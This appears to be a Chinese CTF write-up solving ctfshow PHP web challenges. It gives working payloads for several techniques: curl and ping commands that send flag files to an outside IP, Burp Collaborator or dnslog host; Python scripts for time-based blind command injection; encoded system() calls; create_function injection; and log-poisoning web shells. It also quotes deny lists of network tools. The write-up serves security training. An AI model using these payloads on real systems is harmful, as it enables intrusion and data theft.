?F=`$F `;curl http://公网ip:4567?p=`命令`
或者:
?F=`$F `;curl http://118.***.***.***/`tail -n 1 flag.php|base64`;
因为flag.php内容太多,直接get的话显示不全,而且会在传输过程中丢失一些字符,所以只读最后一行,然后base64加密。
没有公网ip的话,可以用bp
通过curl结合Burp带出flag.php
payload:
?F=`$F `;curl -X POST -F [email protected] http://aaa
//-X POST 指定 HTTP 请求的方法为 POST
//其中-F 是带文件的形式发送post请求
//xx是上传文件的name值,flag.php就是上传的文件(我们想要的文件的名字)
//aaa是我们在bp中得到的域名地址
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
具体步骤:
然后会弹出下面界面:
得到域名地址:
zmpb3hsj4xhaa43iui82s2b0xr3hr6.burpcollaborator.net
构造payload传参
?F=`$F `;curl -X POST -F [email protected] http://zmpb3hsj4xhaa43iui82s2b0xr3hr6.burpcollaborator.net
最后:
payload2:
看feng师傅和yu师傅的WP得知,还可以通过ping来得到命令执行的结果,应对命令执行无回显的新姿势了。不过在133题的环境里可以,在135题这个环境不行
利用ping的原理就是DNS请求:
如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)
CTF入门web篇18命令执行无回显的判断方法及dnslog相关例题_anquanniu的博客-CSDN博客_无回显命令执行
实用工具DNSLog Platform
awk用法
awk是一种编程语言,用于在linux/unix下对文本和数据进行处理。数据可以来自标准输入、一个或多个文件,或其它命令的输出。它支持用户自定义函数和动态正则表达式等先进功能,是linux/unix下的一个强大编程工具。它在命令行中使用,但更多是作为脚本来使用。awk的处理文本和数据的方式是这样的,它逐行扫描文件,从第一行到最后一行,寻找匹配的特定模式的行,并在这些行上进行你想要的操作。如果没有指定处理动作,则把匹配的行显示到标准输出(屏幕),如果没有指定模式,则所有被操作所指定的行都被处理
awk ' pattern {action} '
awk '/flag/' flag.php
awk '/tom/' file 找到匹配行tom后并显示该行
awk 用法详解_博主是个懒蛋-CSDN博客_awk使用详解
payload:
?F=`$F` ;ping `awk '/flag/' flag.php`.g25cok.dnslog.cn
刷新:
题目:
知识点:
parse_str()--将字符串解析成多个变量;如果
string
是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域extract()--从数组中将变量导入到当前的符号表,将键名当作变量名,值作为变量的值(默认覆盖)
注意两个的区别:
extract是将数组中元素分解,执行后数组的key值作为变量名,数组的value赋值给对应Key的变量,这样可以直接通过Key变量去访问,不用数组加key去访问。
即:从数组中创建变量
parse_str是根据"="来分解字符串,主要用于对url参数的解析。
$_SERVER[‘QUERY_STRING’]解释
分析:不能通过get或者post对key1、key2传参
方法:
变量覆盖。既然是extract的$_POST
,就利用parse_str把$_POST
给覆盖掉
实验案例:
parse_str($_SERVER['QUERY_STRING']); var_dump($_POST);
如果我们传入
?_POST[key1]=36d&_POST[key2]=36d
输出:
即现在的$_POST[key1]=36d,$_POST[key2]=36d,
再使用extract函数
那么当前域中就有两个变量$key1=36d,$key2=36d
payload:
?_POST[key1]=36d&_POST[key2]=36d
查看源代码即可
题目:
payload:
?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
题目:
|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
知识点:
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件
方法:
payload:
?c=ls | tee xx
访问url/xx,下载打开发现只有index.php
?c=ls / | tee aa
访问url/aa 下载打开发现flag在f149_15_h3r3
?c=nl /f149_15_h3r3 | tee monica
访问url/monica 下载打开得到flag
题目:
知识点:
考察调用类中的函数
call_user_func()--第一个参数
callback
是被调用的回调函数,其余参数是回调函数的参数。
payload:
POST:ctfshow=ctfshow::getflag
然后查看源代码
题目:
-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
知识点:
注意区别:
strpos()-- 查找指定字符串在目标字符串中首次出现的位置(区分大小写
stripos()--查找指定字符串在目标字符串中首次出现的位置(不区分大小写)
strrpos()-- 计算指定字符串在目标字符串中最后一次出现的位置(区分大小写)
strripos()-- 计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
分析:
题目的意思是我们输入的ctfshow中不能出现冒号:
方法:
call_user_func中不但可以传字符串也可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
call_user_func(array($classname, 'say_hello')); 这时候会调用 classname中的 say_hello方法
payload:
POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
题目:
|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
知识点:
这里注意exec与system的区别,system自带回显,而exec没有回显
对于system,可以使用
system(echo ls) //输出ls字符串
system(echo `ls`) //输出ls结果(要不要echo都可以)
而对于上面的两个命令,如果把system换成exec那么久不会有输出。
方法:
盲打
题目ban了写入文件的权限,所以不能用cp,没有回显了,只能开始盲注了。
利用shell编程的if判断语句配合awk以及cut命令来获取flag
cut--cut 命令从文件的每一行剪切字节、字符和字段并将这些字节、字符和字段写至标准输出。
shell编程案例
注意空格
awk逐行获取数据
cat flag | awk NR==1
cut命令逐列获取单个字符
cat flag | awk NR==2 | cut -c 1
利用if语句来判断命令是否执行
if [ $(cat flag | awk NR==2 | cut -c 1)==$ ];then echo "you are right";fi
参考yu师傅的脚本
python脚本,猜测文件名:
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "
得到flag所在文件 f149_15_h3r3,接着盲注文件内容
python脚本:
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
因为过滤了{}所以会我们就不加{}出来,跑出来flag然后手动添加就可以了。
如果容易出错的话,可以在payload=xxx前面加个time.sleep(0.1)
题目:
分析:
题目要求我们输入的f1和f2必须为小写字母和数字组成
然后只要我们的if正确就能输出flag.php
先看看弱比较
跳出寻常思维,可以看到0和字符串进行弱比较的时候返回的是true,因为==
在进行比较的时候,会先将字符串类型转化成相同,再比较,而ctfshow是一个字符串,和0相比较的时候要转换成数字,ctfshow转换成数字的时候是0,所以相等返回true
而intval()函数会将非数字或非数字字符串转换为0,所以我们只要使code为字符串即可。
即让intval($code)
是0就可以。
payload:
post:
f1=sha1&f2=md5
或
f1=md5&f2=md5
//还有很多
查看源代码
题目:
知识点:
正则匹配:
\w 匹配字母、数字、下划线。等价于'[A-Za-z0-9_]'。
\W 匹配非字母、数字、下划线。等价于 '[^A-Za-z0-9_]'。
题目用的是W,所以为不匹配,所以是一道无字母数字RCE;但是这里还有一个问题,return会中断当前字符串的解释
参考yu师傅和feng师傅的解释:
大家可以看下下面的示例
eval("phpinfo();return 1;");
eval("return 1;phpinfo();")
会发现第一句会执行phpinfo(),但是第二句不行,因为return后就中止了。
随意eval("return phpinfo();")这样可以执行,但是因为有v1和v2所以没法构造成这样。
但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。
这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)得到 (~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)
所以最终payload:
?v1=1&v2=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-
-可以替换为+-*/ |^
题目:
避免sleep太长时间,传入payload
GET:?v1=0
查看源代码
题目:
使用yu师傅的脚本,需要修改生成字典脚本中的正则匹配规则
payload:
GET:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*
题目:
分析:这道题是对v3进行check,要求v3的长度为1,但是没有对v2进行check,所以把命令赋值给v2即可。
payload:
GET:?v1=1&v3=1&v2=-("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")
|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
分析:过滤了+-*/^,但是没有过滤|~
payload:
//使用|
GET:?v1=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)|&v2=1
//使用三元运算符
GET:?v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1
题目
|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
payload:
GET:?v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1
题目:
知识点:
1、修正符:D 如果使用$限制结尾字符,则不允许结尾有换行;
2、考察点:create_function()代码注入
string create_function ( string args , [string args] , string code ) string $args 变量部分 string $code 方法代码部分
create_function('$a','echo $a."123"') 类似于 function f($a) { echo $a."123"; } 如果我们第二个参数输入的是'echo 111;}phpinfo();//' 即可把前面的方法括号给闭合并且成功执行phpinfo命令,后面用//注释掉后边的语句 也就是下面这个结构 function f($a){ echo 111;}phpinfo();//;} 也就是 function f($a){ echo 111; } phpinfo();//;}
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow))
正则的意思是:不能出现以下划线、数字、大小写字母开头并结尾的字符串。很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。
那么如何绕过呢?在create_function的最前面或者尾部fuzz所有的ASCII字母,可以发现\是可以成功绕过的。
%5c即 \ 可以绕过正则表达式,正好
\
在php里代表默认命名空间,具体原理可以看下这篇文章,这样我们就可以执行任意命令了参考dotast师傅对\的解释:
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径即在当前的空间内调用; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径即去\这个空间调用。 如果你在其他namespace里调用系统类,必须使用绝对路径的写法
payload:
get: show=echo 123;}system('tac f*');//
post: ctf=\create_function
结果就是:
$ctfshow('',$_GET['show']);
=>
\creat_function('','echo 123;}system('tac f*');//');
=>
function f(){
echo 123;}system('tac f*');//;}
=>
function f(){
echo 123;
}
system('tac f*');//;}
题目:
没有过滤^,所以直接异或构造就可以了
payload:
GET:?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
预期解:
GET:?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
前面也是利用的异或
"`{{{"^"?<>/"异或出来的结果是 _GET
即$哈=_GET,那么{$哈}=_GET。然后最后面$哼=system、$嗯=tac f*
那么最后的意思为:
?code=$哈=_GET;$_GET[哼]($_GET[嗯]); =》?code=system(tac f*);
题目:
知识点:
is_file--判断给定文件名是否为一个正常的文件
unlink--删除文件
这里用file_put_contents函数写入文件,并且会有两个for循环判断不是index.php的文件会被删除
非预期,直接往index.php里面写一句话
GET:?ctf=index.php
POST:show=
然后访问url/index.php;POST传参1=1=system('tac /ctfshow_fl0g_here.txt');
预期解:条件竞争
ctf=1.php
show=
使用bp不断访问并传参,然后再开一个去不断访问 1.php
题目:
vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
知识点:
class_exists--检查类是否已定义
比较运算符优先级大于逻辑运算符
值得注意的是,这里使用的是GET和POST,所以传入进去的都是字符串
$ctf='/var/log/nginx/access.log'; var_dump('false'&&strrpos($ctf, ":")===FALSE); //true 而 var_dump(false &&strrpos($ctf, ":")===FALSE); //false
非预期解:
这里要想包含需要$isVIP
变量为true且传入的ctf中没有: 即可,这里有QUERY_STRING
和extract函数,所以我们可以直接通过get传参来覆盖变量
payload:
修改UA为:执行
然后传参再次执行
GET:?isVIP=true
POST:ctf=/var/log/nginx/access.log&1=system('tac f*');
(当然也可以用session文件包含)
题目:
vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
修复web150的非预期解日志包含,但还可以使用session包含
预期解:
vulhub/README.zh-cn.md at master · vulhub/vulhub · GitHub
vulhub/exp.py at master · vulhub/vulhub · GitHub
这个题一点点小坑__autoload()函数不是CTFSHOW类里面的
__autoload — 尝试加载未定义的类(本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除)
当我们使用class_exists对类进行判断的时候就会自动调用__autoload()函数
只要我们能够控制$__CTFSHOW__,那么就能控制$class,那么就能控制$class()函数了。
有QUERY_STRING
和extract函数,所以我们能够覆盖$__CTFSHOW__这个变量。同时因为过滤了下划线_,但是php在处理点号时会自动将其作为下划线处理。所以我们构造payload为:
GET:?..CTFSHOW..=phpinfo
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,然后对其进行类判断,就会自动调用 __autoload()函数方法,因为$__CTFSHOW__=phpinfo;那么就会去加载phpinfo=
原本使用上述两个链接的方法进行条件竞争才可以得到flag,但是现在因为速度现在,直接在phpinfo界面查找环境变量FLAG即可。